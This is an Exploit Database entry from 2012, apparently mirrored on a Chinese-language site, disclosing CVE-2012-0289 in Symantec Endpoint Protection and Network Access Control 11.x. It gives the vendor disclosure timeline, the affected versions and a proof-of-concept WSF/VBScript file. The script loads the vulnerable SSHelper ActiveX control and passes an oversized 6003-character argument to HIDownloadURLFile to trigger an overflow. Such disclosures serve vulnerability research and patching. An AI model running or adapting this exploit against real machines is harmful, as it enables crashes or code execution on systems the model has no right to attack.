Symantec End Point Protection 11.x / Symantec Network Access Control 11.x – Local Code Execution (PoC)

• Exploit Database
• 112 阅读

• 作者： 41.w4r10r
  日期： 2012-05-23
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18916/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  # Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC # Date: 22/05/2012 # Author: 41.w4r10r # Software Link: Symantec.com # Version: 11.x # Tested on: # Windows XP SP2 English # Windows XP SP3 English # Windows Vista 32Bit # Windows 7 32Bit # CVE : CVE-2012-0289   Time Line: 30/08/2011 - Sent Details of the vulnerability 31/08/2011 - Symantec Requested Affected Version Details 31/08/2011 - Provided Requested Information with POC 27/09/2011 - Vulnerability Confirmed by Symantec 22/05/2012 - Advisory Released   Symantec Advisory: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01   Affected Products:   Symantec Endpoint Protection 11.0 RU6(11.0.600x) 11.0 RU6-MP1(11.0.6100) 11.0 RU6-MP2(11.0.6200) 11.0 RU6-MP3(11.0.6300) 11.0 RU7(11.0.700x) 11.0 RU7-MP1(11.0.710x)   Symantec Network Access Control 11.0 RU6(11.0.600x) 11.0 RU6-MP1(11.0.6100) 11.0 RU6-MP2(11.0.6200) 11.0 RU6-MP3(11.0.6300) 11.0 RU7(11.0.700x) 11.0 RU7-MP1(11.0.710x)   Affected Resource: %%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll     === POC ===   <?XML version=&apos;1.0&apos; standalone=&apos;yes&apos; ?> <package><job id=&apos;DoneInVBS&apos; debug=&apos;false&apos; error=&apos;true&apos;> <object classid=&apos;clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9&apos; id=&apos;target&apos; /> <script language=&apos;vbscript&apos;> prototype= "Function HIDownloadURLFile ( ByVal cookie As Long ,ByVal url As String ,ByVal file_path As String ,ByVal rule_name As String , ByVal cancel_message As String ,ByVal downloading_time As Long ,ByVal bResume As Boolean ,ByVal bShowProgressDlg As Boolean ,ByVal bAllowCancel As Boolean ,ByVal username As String ,ByVal password As String ,ByVal show_error_delay As Long ) As Long" memberName = "HIDownloadURLFile" progid = "SSHELPERLib.SSHelper" argCount = 12 arg1=1 arg2="defaultV" arg3="defaultV" arg4="defaultV" arg5="defaultV" arg6=1 arg7=True arg8=True arg9=True arg10="defaultV" arg11= String(6003, "A") arg12=1 target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8 ,arg9 ,arg10 ,arg11 ,arg12 </script></job></package>